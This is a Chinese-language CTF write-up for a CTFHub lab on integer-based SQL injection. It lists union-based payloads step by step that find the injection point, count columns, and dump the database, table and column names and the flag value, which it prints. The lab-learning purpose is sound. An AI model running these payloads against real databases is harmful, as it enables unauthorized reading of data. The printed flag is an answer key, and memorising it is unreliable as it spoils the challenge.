CTFHUB技能树之SQL——整数型注入

开启靶场,打开链接:

直接指明是SQL整数型注入,但还是来判断一下


(1)检查是否存在注入点

1 and 1=1#

返回正确

1 and 1=2#

返回错误

说明存在SQL整数型注入


(2)猜字段数

1 order by 2#

1 order by 3#

说明字段数是2


(3)爆数据库名

1 and 1=2 union select 1,database()#

得知数据库名是sqli


(4)爆表名

1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#

显示表名是news表和flag表,其中flag表是我们需要的


(5)爆列名

1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='sqli' and table_name='flag'#

得知flag表的列名是flag


(6)爆字段内容(flag)

1 and 1=2 union select 1,group_concat(flag) from sqli.flag#

成功的得到flag:

ctfhub{0bdb6d621fc76a06fde34a00}

这里用sqlmap也是可以的,但我提前交了就不想再费时间重开一遍靶场了,待会就在"字符型注入"中试试了

相关推荐
i220818 Faiz Ul7 小时前
计算机毕业设计|基于springboot + vue鲜花商城系统(源码+数据库+文档)
数据库·vue.js·spring boot·后端·课程设计
雾山大叔8 小时前
多会话浏览器串口调试助手
经验分享·笔记·学习
Apple_羊先森8 小时前
ORACLE数据库巡检SQL脚本--22、检查碎片程度最高的业务表
数据库·sql·oracle
桂花很香,旭很美9 小时前
Anthropic Agent 工程实战笔记 · 延伸阅读
笔记·架构·agent
OnYoung9 小时前
更优雅的测试:Pytest框架入门
jvm·数据库·python
今儿敲了吗10 小时前
29| 高考志愿
c++·笔记·学习·算法
山岚的运维笔记10 小时前
SQL Server笔记 -- 第85章:查询提示
数据库·笔记·sql·microsoft·sqlserver
chilavert31810 小时前
技术演进中的开发沉思-371:final 关键字(中)
java·前端·数据库